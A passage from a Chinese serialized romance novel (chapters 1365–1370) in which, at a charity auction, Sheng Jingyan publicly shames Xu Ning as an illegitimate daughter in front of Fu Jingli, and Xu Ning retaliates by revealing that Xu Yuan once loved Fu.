盛景炎当然知道黎云笙的背景和能量,在这个圈子里,确实很少有人敢真正得罪他。但他还是忍不住提醒:“你自己心里清楚就行,别到时候闹出事情来不好收场。” “清楚,我当然清楚。”黎云笙的唇角勾起一抹极淡的笑意,那笑意里带着几分洞悉一切的冷静,“如果不是你一定要站在门口,非要确认里面的人是不是我,在这里拦着,温栩栩现在早就已经回到拍卖会场,我们两个刚好可以一前一后离开,神不知鬼不觉,也不会被任何人看到,更不会被拍到。” 盛景炎一时语塞,他张了张嘴,想反驳,却发现黎云笙说的竟然有那么点道理。 第1365章 你跟许愿……认识 如果不是他出于好奇或者担忧,特意在这里“堵人”,或许温栩栩和黎云笙真的已经悄无声息地分开了,不会有任何风言风语。此刻,他们三人站在这里,反而更像是一场刻意安排的“偶遇”,更容易引人遐想。 他无奈地笑了笑,揉了揉眉心,觉得自己仿佛掉进了一个自己挖的坑里。他看着黎云笙那张写满“一切尽在掌控”的脸,又看看温栩栩,后者此刻正低着头,似乎在努力降低自己的存在感,但那微微上扬的唇角,却泄露了她内心的一丝窃喜。 盛景炎在心里默默叹了口气。他承认,黎云笙的思维模式和行事风格,确实和常人不同。他不是不考虑后果,而是他有足够的底气和能力去承担甚至抹平那些所谓的“后果”。他行事,更多的是随心所欲,按照自己的逻辑和规则来。 “行吧,”盛景炎最终妥协了,他摆了摆手,语气里带着一丝无奈的认输,“你说的有道理。不过,我还是那句话,小心使得万年船。” 他顿了顿,目光在黎云笙和温栩栩之间来回扫视,意味深长地补充道:“你们两个,还是注意点影响。毕竟,温栩栩的事业才刚刚起步。” 黎云笙点了点头,算是应下了盛景炎的叮嘱。 …… 许宁脚步虚浮地回到了拍卖会场,灯光璀璨,人影交错,觥筹交错间,仿佛一切喧嚣都离她很远。 她几乎是跌坐在傅京礼身边的座位上,身体不受控制地微微颤抖着。那颤抖,源自灵魂深处的恐惧与慌乱。 许愿冷冽的嘲讽,盛景炎那看似平静却让她如坠冰窟的眼神,像两道挥之不去的阴影,在她脑海中不断盘旋。 她甚至能清晰地感觉到自己的指尖冰凉,心脏在胸腔里急促地跳动,每一次搏动都带着一丝后怕的抽痛。 傅京礼敏锐地察觉到了她的异样。 他侧过头,深邃的眼眸中掠过一丝关切,低声问道:“出了什么事?”他的声音温和而沉稳,却无法完全抚平许宁内心的惊涛骇浪。 许宁努力扯动嘴角,挤出一个勉强的笑容,那笑容比哭还要难看几分。 她垂下眼帘,不敢直视傅京礼的眼睛,声音有些发虚:“没……没事,只是去整理了下礼服。”她的话语苍白无力,连她自己都觉得漏洞百出。 整理礼服,需要花那么久的时间? 需要让她脸色如此苍白,身体如此颤抖? 然而,傅京礼并没有拆穿她。 他只是静静地看着她,目光中那份关切愈发浓重。 许宁此刻满脑子都是许愿那句句诛心的嘲讽,每一个字都像一把尖刀,精准地刺入她最脆弱的部位。 那些被嘲讽的话语在她耳边嗡嗡作响,挥之不去。更让她恐惧的是,她觉得自己彻底得罪了盛景炎。 那个男人,虽然看起来温和无害,但许宁深知他的能量和手腕。 她甚至能预见到自己未来在圈子里的举步维艰,会被针对,会被边缘化,所有努力都将付诸东流。 一股寒意从脚底升起,迅速蔓延至全身。 “为什么?为什么自己一定要凑上去招惹许愿?”她在心里一遍又一遍地诘问自己,悔恨与自责像潮水般将她淹没。 她觉得自己愚蠢透顶,明明知道自己的身份尴尬,明明知道许愿对自己没有好感,却还是忍不住想要去证明什么。 现实却残忍的给了她一记响亮的耳光。 此刻,她只想找个地缝钻进去,远离这一切的纷扰和审视。 她的慌乱与失措,像一层薄雾般笼罩在她周身。 傅京礼将这一切都看在眼里,他沉默了片刻,再次开口,声音比之前更低,也更带着一丝探究:“你跟许愿……认识?” 这句简单的问话,却像一道惊雷,在许宁心中炸响。 她身体猛地一僵,心脏几乎要从喉咙里跳出来。 她慌乱地抬起头,眼神闪烁,极力掩饰着内心的惊涛骇涌,强作镇定地反问:“为……为什么会这么问?”她的声音带着一丝不易察觉的颤抖,出卖了她此刻的慌乱。 傅京礼的目光沉静如水,他定定地看着她,那目光仿佛能洞悉一切。 他顿了顿,没有立刻回答,他的眼神里,多了几分深意,几分了然。 他重新看向许宁,缓缓开口,语气平静,却带着一种不容置疑的肯定:“你看许愿的眼神很不对。你们之间……有矛盾吗?” 虽然是疑问句,但他的语气和眼神,却分明是肯定的陈述。 许宁的心瞬间提到了嗓子眼,仿佛被一只无形的手紧紧攥住,让她呼吸都变得困难。 她很想,真的非常想撒谎,告诉傅京礼自己跟许愿根本不认识。这个谎言多么简单,多么容易脱口而出。但她的理智告诉她,不行。 这个谎话迟早会被戳穿,尤其是在傅京礼这样的人面前。 他有着超乎常人的洞察力,任何谎言在他面前都显得如此苍白无力。 而且,她自己心里也清楚,自己的身份拿不出手。 许家的私生女,在这样的圈子里,私生女私生子就是不堪就是会被人看不起的,许宁心里清楚,所以才会那么自卑想要证明自己才会恨许愿踩着自己。 她更害怕的是,傅京礼会因此看不上自己。 她喜欢傅京礼,这份喜欢带着少女的憧憬和自卑。她知道傅京礼家世显赫,而自己呢?一个身份尴尬,背负着“私生女”标签的女子。 她怕自己的污点会玷污了他眼中的清明,怕他眼底会浮现轻蔑与鄙夷。 这份恐惧,像藤蔓一样缠绕着她,让她几乎窒息。 但此刻,傅京礼已经开口问了。如果她再隐瞒下去,等到以后傅京礼自己查出来真相,那才会有更大的误会,更深的隔阂。 她不想失去傅京礼的信任,哪怕只是一丝一毫的可能,她都不想冒险。 时间仿佛在这一刻静止了。 拍卖会场的喧嚣,宾客的谈笑声,都变得模糊不清。 许宁的脑海中,是激烈的天人交战。 第1366章 别怕,有我在 她的手指无意识地绞着裙摆,指节因为用力而泛白。她的呼吸急促,胸口剧烈地起伏着。 她闭上眼睛,深深地吸了一口气,仿佛用尽了全身的力气,才终于下定了决心。 沉默了许久,久到傅京礼以为她不会回答时,许宁才终于开口。 她的声音细若蚊呐,带着浓重的鼻音和难以掩饰的羞耻与痛苦:“许愿……是我的姐姐。” 说出这句话的瞬间,她仿佛耗尽了所有的力气,身体微微颤抖,头垂得更低,不敢去看傅京礼的反应。 她等待着,等待着他的质问,他的冷漠,或者,他的转身离去。 傅京礼听到这个回答,明显顿了一下,他的眉头微微蹙起,眼中闪过一丝惊讶,但很快又恢复了平静。 他看着许宁,一字一句地确认道:“你是……许家人?” 许宁的肩膀猛地一颤,内心的隐秘被彻底揭开,那种羞耻感和屈辱感让她几乎抬不起头。 她隐忍着,眼眶微微发红,声音带着一丝哭腔,艰难地开口:“我的母亲……和我的父亲才是真爱……只是……只是被许愿的母亲抢先了……”她的声音越来越低,到最后几乎听不见。 说出这些话,对她而言,就像是将自己最不堪的一面血淋淋地剖开,任人审视。 傅京礼没有立刻说话,他的表情让人难以捉摸。 他只是静静地看着许宁,目光深邃,看不出喜怒。 他的沉默,对许宁来说,却比任何斥责都更让她煎熬。 她的心沉入了谷底,以为傅京礼终究还是无法接受她的身份。 巨大的恐慌攫住了她。她害怕失去傅京礼,害怕这份刚刚萌芽的情愫,还没开始就要结束。 她再也忍不住,几乎是带着一种绝望的勇气,猛地伸出手,紧紧握住了傅京礼放在膝上的手。她的手冰凉,还在微微颤抖,指甲因为用力而泛白。 她抬起头,眼眶通红,眼中充满了水光,带着一丝哀求和极致的不安,声音破碎而颤抖:“阿礼哥哥……你会因为我的身份而厌弃我吗?” 这一刻,她的所有伪装,所有的坚强,都彻底崩塌了。她所有的纠结、害怕、羞耻和卑微,在握住傅京礼手的那一刻,都化作了最纯粹的恐惧和期盼。 傅京礼的手被她冰凉的手紧紧握住。他能清晰地感受到她指尖的颤抖,以及那颤抖中蕴含的绝望与无助。 他低头,看着她通红的眼眶和眼中闪烁的泪光,那双眼眸,此刻却盛满了最真实的脆弱。 傅京礼的表情依旧没有太大的波澜,但他的眼神却悄然发生了变化。 那其中的探究和深意渐渐褪去,取而代之的是一抹不易察觉的柔软和复杂。 他没有立刻抽回自己的手,任由她握着,感受着她指尖传来的寒意和那份孤注一掷的勇气。 他沉默了许久,久到许宁以为自己已经被判了死刑,心如死灰之际,他终于缓缓开口。 他的声音依旧沉稳,却少了几分之前的探究,多了一丝安抚的意味。 “宁宁,”他第一次这样称呼她,声音低沉而温和,“看着我。” 许宁的身体微微一颤,她抬起泪眼,茫然又绝望地看向他。 傅京礼用另一只手,轻轻覆在她紧握着自己的手上,他的掌心温暖而干燥,一点点驱散她指尖的寒意。 他的动作很轻,却带着一种不容抗拒的力量。 “你的过去,是你的经历,不是你的原罪。”他一字一句地说道,目光坚定地看着她,“我不会因为你的出身而看轻你,更不会因此厌弃你。我只关心,现在的你,是怎样的人。” 许宁怔怔地看着他,眼泪不受控制地滑落下来。那是绝处逢生的狂喜和巨大的释然。 傅京礼看着她泪流满面的样子,眼中闪过一丝心疼。 他伸出手,用指腹轻轻拭去她脸上的泪水,动作轻柔。 “别怕,”他低声说,“有我在。” 这短短的四个字,却有着千钧之力,瞬间抚平了许宁心中所有的惊涛骇浪。 她所有的惊慌失措,所有的纠结害怕,在这一刻,都被傅京礼的温柔和包容所融化。 她用力地点了点头,泪水依旧不断涌出,但嘴角却忍不住扬起了一抹劫后余生的的微笑。 许愿和盛景炎并肩回到拍卖会场时,会场里璀璨的灯光映照出人群的衣香鬓影,觥筹交错间,一切看似风平浪静。 然而,就在他们踏进来的瞬间,许愿的目光不受控制的落到傅京礼身上。 傅京礼正握着许宁的手,温声安抚着,嘴角还带着一抹浅淡的笑意。 那笑意,像春水初融,温柔而缱绻,傅京礼向来冷淡,对旁人总是带着一层拒人于千里之外的冷意,何时如此温柔过?那双平日里深邃如寒潭的眼眸,此刻竟也漾着细碎的温柔,眼底甚至泛着极淡却真实的笑意。 许愿望着,有那么一瞬间的恍惚。 她的心像是被什么无形的东西轻轻刺了一下,带着点微不可察的钝痛。 她从未见过这样的傅京礼,那个在商场上雷厉风行、在社交圈里疏离淡漠的男人,竟然会用这样的眼神,这样的语气去对待一个人。 那个人,还是许宁。 许宁明显注意到了许愿投来的视线。她先是微微一怔,随即,一股难以言喻的得意从心底油然而生,像藤蔓一样迅速缠绕住她的四肢百骸。 她挑衅般地,轻轻摇晃了一下傅京礼的手,动作亲昵而自然。 傅京礼有些疑惑地侧过头,她却已凑了过去,柔软的唇瓣在他耳边极轻地吻了吻,带着一丝若有若无的暧昧气息。 傅京礼的身体有一瞬间的僵硬,但他并未推开她,也没有表现出任何不悦,只是微微蹙了蹙眉,似乎有些不适应这种在公共场合的亲密举动。 但他确实没有拒绝。他的注意力更多地放在了安抚许宁的情绪上,自然也就没有注意到许宁在吻过他之后,故意撩起眼皮,用一种近乎胜利者姿态的眼神,遥遥地、毫不掩饰地挑衅着许愿。 第1367章 跟他没交集 许宁的眼神,像在无声地宣告。 看啊,你最爱的男人,现在是我的。我可以亲他,可以抱他,可以得到他所有的温柔和在意。而你,许愿,你什么都得不到。你根本不配。 那眼神,充满了报复的快感和刻意的嘲讽。 她仿佛要将之前在许愿那里受到的所有羞辱和打压,都用这种方式加倍地还回去。 她要让许愿亲眼看着,她许宁,也可以拥有她得不到的东西,也可以站在她梦寐以求的位置。 许愿微微抿起唇,指腹无意识地收紧,指甲在掌心掐出几道浅浅的月牙。 她将所有的震惊、失落和那点被刺痛的狼狈都压在心底,脸上依旧维持着平静的神色。 盛景炎敏锐地察觉到了她情绪的细微变化,他无声地握紧了许愿的手,掌心传递出温暖而坚定的力量。 “阿愿,还好吗?”他的声音压得很低,只有他们两个人能听见。 许愿抬起头,冲他露出一个浅淡的笑容,尽管那笑容有些勉强:“我没事。” 盛景炎的眸光沉了下来,眼底掠过一丝不易察觉的冷意。 他顺着许愿的视线看过去,将许宁那得意的小动作和傅京礼的纵容都尽收眼底。 他心里瞬间明白了许宁那点小心思,也看穿了许愿此刻的不自在。 他安抚性地拍了拍许愿的手背,然后笑着对她说道:“阿愿,你先坐回原位好吗?我有点事要处理。” 许愿有些疑惑地看了他一眼,不知道他要做什么,但出于对他的信任,她并没有多问,也没有拒绝,只是顺从地点了点头,转身回到了自己的位置。 盛景炎目送许愿坐下,然后才整理了一下自己的西装领口,步履从容而沉稳地朝着傅京礼的方向走了过去。 他的步伐不疾不徐,却带着一种无形的压迫感。 傅京礼正低声与许宁说着什么,试图让她平复情绪。 他微微蹙眉,偏过头,便看到了盛景炎。他的目光触及盛景炎时,瞬间变得冰冷而锐利,像两道寒刃,带着审视和警惕。 而许宁,在看到盛景炎走过来的那一刻,心猛地一沉,仿佛瞬间掉进了冰窟。 她刚刚因为挑衅许愿而升起的那点得意,瞬间被巨大的恐慌所取代。 盛景炎为了维护许愿,可以毫不留情地用最尖锐的话语攻击她,嘲讽她是见不得光的私生女的男人!他的眼神,他的语气,都让她感到毛骨悚然。 此刻,他正一步步走来,脸上甚至还带着一丝若有若无的笑意。但许宁知道,那笑容背后,是彻骨的寒意。 她的身体不受控制地再次颤抖起来,手指冰凉,心脏狂跳,几乎要从嗓子眼里蹦出来。 她下意识地往傅京礼身边靠了靠,像是寻求庇护,眼神里充满了惊慌失措和恐惧。 她想逃,可是双腿却像灌了铅一样沉重。 盛景炎走到傅京礼身旁,却并未立刻开口,而是礼貌性地对傅京礼旁边那位原本坐着的男士笑了笑,低声沟通了几句。 那位男士先是有些错愕,随即脸上露出了然和讨好的笑容,甚至带着一丝不易察觉的敬畏。 他连忙站起身,笑呵呵地拍了拍盛景炎的肩膀,说了几句客套话,然后便提前离场了,将位置空了出来。 整个过程,傅京礼都冷眼旁观,眉头越蹙越紧。他不明白盛景炎葫芦里卖的什么药,但直觉告诉他,事情不会简单。 而许宁,则是彻底目瞪口呆。 她看着盛景炎从容不迫地驱离了傅京礼身边的客人,然后像主人一样,自然而然地坐到了傅京礼的旁边。 她的身体抖得更厉害了,此刻甚至是不敢抬头了,再也没了之前的嚣张劲头。 盛景炎坐下后,先是慢条斯理地整了整自己的衣领,他偏过头,看向傅京礼,脸上依旧是那抹笑眯眯的表情,但那笑意却丝毫未达眼底,眼底深处,是一片凉意。 傅京礼被他看得极不舒服,周身的气压也降到了冰点。他声音冰冷,不带一丝感情地开口:“我不记得我跟盛先生有什么交集。” 他的语气疏离而戒备,试图将盛景炎隔绝在外。 盛景炎却仿佛没听出他语气中的冷淡,依旧笑得人畜无害,只是那笑容里,危险的气息越来越浓:“傅先生说得是。我跟你确实没什么交集。” 他顿了顿,目光忽然转向一旁的许宁,笑着说,“但是我跟你身旁的这位许小姐,倒是有些‘交集’。许小姐,不久前我们还在走廊有过沟通交流呢,不是吗?” 他特意在“沟通交流”四个字上加重了语气,每一个字都狠狠砸在许宁的心上。 许宁瞬间毛骨悚然! 他果然要提那件事! 那不是沟通交流,那是盛景炎单方面为了许愿,对她进行的无情攻击和羞辱! 他用最刻薄的语言,揭开了她最不堪的伤疤,嘲讽她是许家见不得光的私生女,警告她离许愿远一点! 此刻,他当着傅京礼的面,再次提起这件事,他想干什么?是想再次羞辱她?还是想在傅京礼面前,彻底揭开她的底牌,让她在傅京礼心中那点可怜的形象也荡然无存? 巨大的恐惧攫住了她。她想逃!立刻、马上逃离这个地方!逃离盛景炎那可怕的目光! 但她的身体却僵硬得无法动弹,只能惊恐地看着盛景炎,嘴唇翕动,却发不出任何声音。 傅京礼的目光在盛景炎和许宁之间来回扫视,他敏锐地察觉到了许宁的极度恐惧和盛景炎话语中的深意。 他不动声色地将身体微微侧向许宁,用一种保护的姿态将她半遮在身后,看向盛景炎的眼神更加冰冷,周身的冷淡气质也更加浓重。 “盛先生,”傅京礼的声音比之前更冷了几分,“我不明白你在说什么。如果你只是想和我的女伴叙旧,恕我直言,这里不是适合的地方。” 他的维护之意,已经非常明显。 盛景炎看着傅京礼的反应,嘴角勾起一抹讥诮的弧度。 他没有理会傅京礼的警告,反而将目光重新投向许宁,那眼神像在看一只瑟瑟发抖的蝼蚁。 “叙旧?”他轻笑一声,声音不大,却清晰地传入许宁的耳中,“傅先生误会了。我只是想提醒许小姐,有些东西,不是靠一时的得意和小聪明就能得到的。有些人,更不是靠刻意的亲近和攀附就能拥有的。” 第1368章 那不是爱 谎言一戳就破 盛景炎所说的每一个字都像一把利刃,精准地刺向许宁最脆弱的神经。 他没有明说,但话里的警告和威胁,却再明显不过。 许宁的脸色瞬间变得惨白,身体抖得像风中的落叶。 她知道,盛景炎这是在警告她,也是在为许愿出气。她感到了前所未有的绝望和害怕。 她以为自己找到了庇护,以为自己可以反击,但在盛景炎这样的绝对力量面前,她的那些小伎俩,她的那些得意,都显得如此可笑和不堪一击。 她所有的惊慌失措,所有的恐惧不安,在这一刻都被放大到了极致。她只能无助地抓紧傅京礼的衣袖,仿佛那是她唯一的救命稻草,眼神里充满了哀求。 而盛景炎,只是静静地坐在那里,眼底甚至都带着一点淡淡的笑意,如果那笑意没有带凉意的话。 灯光下,傅京礼的目光沉静地落在许宁身上。 那目光原本带着一丝安抚的温度,此刻却因为盛景炎的出现和言语,渐渐染上了一层探究与审视。 他看到许宁的脸色在瞬间褪尽了血色,变得惨白如纸,眼底浮动着惊慌失措的波澜,像被惊扰的湖面,荡漾着无法平息的恐惧。 她的手指紧紧绞着裙摆,指节泛白,整个人像一只被逼到悬崖边的小兽,惶惑不安,无处可逃。 她的嘴唇微颤,声音带着一丝不易察觉的抖,急切地辩解着:“我……我跟盛景炎根本就不熟,真的,我不知道他为什么会坐在这里。”每一个字都像是从牙缝里挤出来的,透着慌乱、无措,还有一丝被当众揭短的狼狈。 傅京礼的眉头深深蹙起,那两道英挺的剑眉几乎要拧到一起。 他转向盛景炎,声音低沉而冰冷,带着不容置喙的质问和一丝被打扰的不悦:“盛景炎,你到底想做什么?许宁说了,她跟你不熟。”他的语气平淡,却裹挟着不容忽视的压迫感。 他不喜欢这种不受控的局面,更不喜欢自己的女伴被一个外人如此咄咄逼人地针对。 他的淡漠,此刻不是针对许宁,而是对盛景炎这种莫名其妙、带有攻击性举动的排斥和冷意。 盛景炎依旧维持着他那副笑吟吟的模样,唇角微勾,露出一抹优雅而危险的弧度。但那笑意却丝毫未达眼底,他的眼眸深处,是一片深不见底的寒潭,翻涌着毫不掩饰的嘲讽和冰冷的凉意。那凉意,像深冬最凛冽的寒风,吹得人骨髓都发冷。 他的眉眼微微扬起,带着一种居高临下的审视,仿佛在看一个跳梁小丑。 他微微歪了下头,这个动作让他看起来有些慵懒,但眼底的幽暗却更深了,像藏着无数暗流的深渊,让人望而生畏。 他的目光在许宁和傅京礼之间流转,最后定格在许宁身上,那眼神仿佛能洞穿她所有的伪装和谎言。 “许宁是跟我不熟,”他缓缓开口,声音不大,却清晰地传入每个人耳中,带着一种慢条斯理的残忍,“可跟阿愿,可是很熟呢。” 他刻意加重了“很熟”两个字,仿佛在提醒傅京礼,许宁那些不光彩的过去,都和许愿紧紧相连。 他欣赏着许宁瞬间惨白的脸色,继续步步紧逼,言语毫不留情:“许宁小姐,”他轻笑一声,那笑声里充满了鄙夷和嘲弄,“现在,不是你在外面面对阿愿时趾高气昂、嚣张跋扈的时候了?” 他的目光锐利如刀,“你在傅京礼面前,装什么委屈可怜呢?”他刻意停顿,让这句话的羞辱感发酵到极致。 “一个私生女,”他一字一顿,清晰地吐出那个足以击碎许宁所有伪装和尊严的词,声音不大,却让许宁整个人愈发慌乱,“一个私生女究竟能委屈到哪里去呢?” 他微微前倾,身体语言充满了压迫感,“不知道的,还以为你才是那个被欺负得最惨的人了,真是可笑。” 他的语气充满了不屑,眼底的幽暗和凉意几乎要溢出来,将许宁彻底淹没。 那幽暗中,不仅有嘲讽,更有一种猫捉老鼠般的戏谑和掌控一切的冷酷。 盛景炎就这么干脆利落、毫不留情地,将许宁最不堪的秘密,当众撕开,扔在冰冷的灯光下,任傅京礼审视。 他眼底的幽暗,像无尽的黑夜,深邃而危险,让人看不到一丝光亮,只有无尽的寒意。 他就是要让她明白,她那些上不得台面的手段和心思,在他面前,根本不值一提。 傅京礼的眉头皱得更紧了。 他没有说话,但周身淡漠的气息却在瞬间变得更加冰冷,他侧头看了许宁一眼,目光复杂,有探究,有审视,更多的是一种深沉的沉默。 他没有斥责盛景炎的无礼,也没有立刻安慰许宁,只是静静地坐着,他的沉默,此刻却比任何言语都更有压迫感,像一座大山,沉甸甸地压在许宁的心头。 而许宁,在盛景炎说出“私生女”三个字的瞬间,心仿佛瞬间沉入了无底的深渊,冰冷的绝望将她紧紧包裹。 她的大脑“嗡”的一声,一片空白。 尽管她之前已经向傅京礼坦白过一部分,但她是怎么说的? 她将自己母亲描述得楚楚可怜,无辜受害,将她母亲和许镇江的爱情描绘成一段被世俗拆散的“真爱”。 她小心翼翼地编织着谎言,试图掩盖那个最不堪的真相,为自己博取一丝同情。 可事实呢? 事实是,她的母亲,只是一个爬床的第三者! 是她的母亲主动攀附,才有了她。 如果许镇江真的那么爱她的母亲,为什么在许愿的母亲离世后,没有光明正大地迎娶她,而是任由她最终嫁给另一个男人? 答案显而易见,那不是爱,至少不是足够深沉的爱。 那只是一段见不得光的露水情缘。 正是因为不够爱,她的母亲才会在失望之下,匆匆嫁给别人,试图为自己的人生寻找一个归宿。 这种谎言,只要稍微一查,就能轻易戳破。 第1369章 阿愿是他的 此刻,许宁是真的怕了,怕得心胆俱裂。 她的手指冰冷,指尖深深嵌入掌心,却感觉不到丝毫疼痛。她的心跳得极快,仿佛要从胸腔里跳出来,耳边是血液奔流的轰鸣声。 她能清晰地感觉到傅京礼投来的目光,那目光似乎要将她里里外外都看个通透。 那淡漠的眼神,比任何愤怒的质问都更让她恐惧。 许宁仓惶得不知所措,整个人仿佛被推入无边的深渊。她的眼眶泛红,泪水在眼底迅速积聚,像雨后湖面的涟漪,一层层漾开,却倔强地不肯落下。那盈满泪水的双眸,无助地望向傅京礼,充满了乞怜与委屈,仿佛一只被猎人逼至绝路的小鹿,只剩无措和哀伤。 她嘴唇微张,却发不出任何声音,喉咙像被无形的手紧紧扼住,千言万语都堵在胸口,化作无声的呜咽。 满脸的委屈,仿佛下一刻就要化作滔天的泪水倾泻而出。 盛景炎阴阳怪气地“呦”了一声,声音不高,却精准地刺破了许宁强撑的脆弱。 他唇角勾起一抹讽刺的弧度,眼底的凉意更盛,像冬日里结了冰的湖面,寒气逼人。 他微微歪着头,带着一种近乎残忍的审视,目光在许宁梨花带雨的脸庞和傅京礼面无表情的侧脸之间来回扫视,仿佛在欣赏一出精心策划的好戏。 “你还挺委屈?”他拖长了语调,每一个字都带着毫不掩饰的嘲弄和轻蔑,“现在不是当着阿愿的面说三道四、欺负人的时候了?” 他刻意提起“阿愿”,就是要将许宁曾经的“恶行”与她此刻的“委屈”进行鲜明对比,撕下她所有的伪装。 “现在做出这副楚楚可怜的模样,不知道的,还真以为我怎么欺负了你。”他冷笑一声,“怎么?我是哪句话说错了?”他步步紧逼,语气凌厉如刀,“是你没有去找阿愿的麻烦?或者说,你不是许家的私生女?” 他每问一句,眼底的幽暗便深邃一分,像无底的黑洞,要将许宁的魂魄都吞噬进去。 “来,说说看,我哪句话说错了?”他将选择权抛给许宁,却是一个无法回答的死局。 承认,便是坐实了“私生女”和“欺负人”的罪名。 否认,则是自取其辱,更加显得心虚。 许宁咬着牙,将嘴唇咬得发白,却不敢吭一声。 她不敢赌! 她不敢赌盛景炎究竟掌握了多少关于她母亲和许家的底细。 她所有的骄傲和伪装,在盛景炎面前,都脆弱得不堪一击。 她怯生生地往后缩,试图将自己藏进傅京礼的阴影里,期盼着盛景炎能良心发现,放过她这一次。 然而,她心底深处却无比清楚,盛景炎不是那种富有同情心的人。 或者说,他那少得可怜的“良心”,也全部都倾注在了许愿一个人的身上。 对他而言,许愿是唯一的例外,唯一的柔软,也是唯一的底线。 除此之外,他对任何人,都只有冰冷的算计和毫不留情的打击。 僵持中,侍应生恰巧推着酒车过来,打破了片刻的死寂。 盛景炎笑吟吟地取了一杯深红色的红酒,动作优雅而从容,仿佛刚才那个咄咄逼人、言语如刀的人不是他。 他将酒杯在指尖轻轻摇晃,杯中的酒液随之荡漾,折射出迷离的光泽,映在他深邃的眼眸里,却丝毫不见暖意,反而更添了几分幽暗与深沉。 那摇晃的酒液,仿佛是他内心翻涌的暗流,危险而不可测。 他没有立刻喝,而是将目光再次投向傅京礼,眼底的凉意和幽暗,此刻带着一种居高临下的警告和不容置疑的决断。 他完全不给许宁留有任何喘息和解释的余地,再次开口,声音清晰而冰冷,传入傅京礼的耳中,也像重锤一样敲在许宁的心上。 “傅京礼,”他直呼其名,语气中带着一丝若有若无的轻慢,“你是傅家指定的未来继承人,这一点,整个圈子都心知肚明。你的爷爷也好,大伯也好,怕是都不会希望你娶回家的是一位私生女。” 他刻意将“私生女”三个字咬得极重,直指许宁的痛处,也是在提醒傅京礼门第和家族荣誉的重要性“。 你既然生在傅家,总要给傅家留些面子。”他顿了顿,目光如炬,盯着傅京礼,似乎要看穿他的心思,“许宁这样的女人进门,只会让傅家蒙羞。如果你足够理智,就该跟这位许宁小姐,划清界限。” 这番话是对傅京礼的精准打击。 他将家族责任、社会声誉与个人情感对立起来,试图用理性的枷锁,束缚住傅京礼的选择。 傅京礼一直面无表情地听着,他的眉头紧锁,那淡漠的气息在他周身凝聚,像一层坚不可摧的冰壳,隔绝了外界所有的纷扰。 他的目光沉静如水,深邃得让人看不透情绪。 直到盛景炎说完,他才缓缓开口,声音平静无波,听不出喜怒。 “然后呢?”他反问,语气平淡,精准地切开了盛景炎话语中的逻辑陷阱,“我跟许宁划清界限,然后去接近许愿吗?” 他不按常理出牌,反而将矛头指向了盛景炎最在意的人。 “按你的说法,那许愿是许家的嫡系?那我接近许愿是不是就没有问题。” 盛景炎面上那副从容不迫的笑容,瞬间僵住了。 他显然没有料到傅京礼会如此反问,将话题引向许愿。 接近阿愿? 想都不要想! 阿愿是他的!只能是他的! 他深深地吸了一口气,将内心突然翻涌的怒意强行压下,脸上重新挂起那副嘲讽的笑容,只是那笑容此刻显得有些僵硬,眼底的幽暗更是深不见底,翻涌着风暴。 “阿愿会选择我,”他一字一顿,语气坚定而霸道,带着一种宣告主权的意味,“所以,不必做这无用功,否则,只会让你自己更加丢脸。” 许宁本来因为傅京礼那句“然后呢”就内心发愁,她害怕傅京礼真的会因为盛景炎的话而疏远自己。 第1370章 盛景炎,你闹够了吗? 她的心像被一只无形的手紧紧攥住,又酸又痛。 然而,当她听到盛景炎斩钉截铁地说“阿愿会选择我”,并且断言傅京礼“丢脸”时,一股莫名的、混杂着嫉妒、不甘和一丝报复快感的情绪突然涌上心头。 或许是被逼急了,或许是想在傅京礼面前证明自己的价值,亦或许是单纯地想戳破盛景炎的自信,她几乎是脱口而出,带着哭腔,却又带着一种破釜沉舟的倔强: “许愿就是喜欢傅京礼!许愿才不喜欢你!” 她声音尖利,充满了激动,“我作证!许愿的日记本里面都是傅京礼!” 她将自己知道的秘密,作为最后一张底牌,狠狠地甩向盛景炎,“盛景炎你少在这里胡说八道,故意贬低傅京礼!”她的眼泪终于忍不住滑落,但此刻却带着一种孤注一掷的疯狂。 盛景炎笑容彻底消失了,只剩下一片冰冷的寒霜。眼底的凉意和幽暗,此刻凝聚成了实质性的杀气,毫不掩饰地射向许宁。 盛景炎握着酒杯,指节因为用力而泛白,杯中的红酒在灯光下显得愈发深沉,如同他此刻翻涌的内心。 他的目光死死地盯着许宁,眼底的幽暗仿佛能将人吞噬,那凉意几乎要凝结成冰。 许宁被他看得心惊胆战,刚才的勇气在盛景炎实质性的压迫感下迅速消退,只剩下无尽的后怕。 傅京礼因为许宁那句激动又带着几分孤注一掷的“许愿就是喜欢傅京礼,许愿才不喜欢你!我作证,许愿的日记本里面都是傅京礼!”,整个人明显顿了一下。 那一瞬间,他所有的思绪仿佛都被这句话击中,凝滞在原地。 他的目光,几乎是不受控制地,带着一种连他自己都未曾察觉的迫切,倏地转向许愿方才所在的方向。 就在他愣神之际,耳畔,一道清冷的声音,仿佛穿透了周遭的喧嚣,清晰地响了起来。 那声音不大,却带着一种不容置喙的清冷,瞬间吸引了他的注意。 “盛景炎,你闹够了吗?” 声音清脆,带着玉石相击般的质感,每一个字都像冰珠落在玉盘上,清脆又冷冽。 傅京礼愣了一下,这声音对他而言,熟悉又陌生,仿佛从记忆深处传来。 他几乎是本能地抬起头,循声望去。 视线里,许愿的身影,不知何时,已然悄无声息地出现在盛景炎的身侧。 她就那样静静地站着,穿着一袭剪裁得体的衣裙,衬托出她纤细的身形和优越的气质。 她的面容,依旧是那般漂亮而清冷,如同雪山上初绽的雪莲,带着一种不食人间烟火的孤高。 然而,在这份清冷之下,却又潜藏着一丝不易察觉的明艳与攻击性,像一柄出鞘的利剑,锋芒内敛,却随时能刺破一切虚伪。 此刻的她,离傅京礼是那样近。 近得仿佛只要他伸出手,就能触碰到她的衣角。 近得他甚至能嗅到她身上那股独特的、清冷而淡雅的香气,那是一种混合了白茶与雪松的气息,干净而疏离,却又带着一丝令人沉醉的诱惑。 傅京礼的目光,不由自主地落在她的脸上,那张他熟悉却又仿佛从未真正靠近过的脸庞。 傅京礼的心,在看到她的那一刻,仿佛被什么东西轻轻撞了一下,一种复杂难言的情绪在心底蔓延开来。 他听到盛景炎笑吟吟地回应许愿,声音里带着一丝惯有的讨好与亲昵:“我没闹,但也玩够了。”那语气,与方才对许宁的冰冷和嘲讽截然不同,充满了柔和与耐心。 话音落下,他便自然而然地伸出手,要去牵起许愿的手,似乎想要带着她离开。 傅京礼的眸光,在盛景炎伸手的瞬间,彻底沉了下去。 他几乎是下意识地,脱口而出,唤出了那个在他心中盘桓了许久的名字。 “许愿。” 他的声音,在此刻略显安静的环境中,显得格外清晰。 许愿的眸光,在听到这声呼唤的瞬间,微微闪动了一下。那清冷的瞳孔里,映出了傅京礼俊美的面容。 傅京礼还是那样,面上没有太多明显的表情,依旧是他惯有的淡漠与克制。 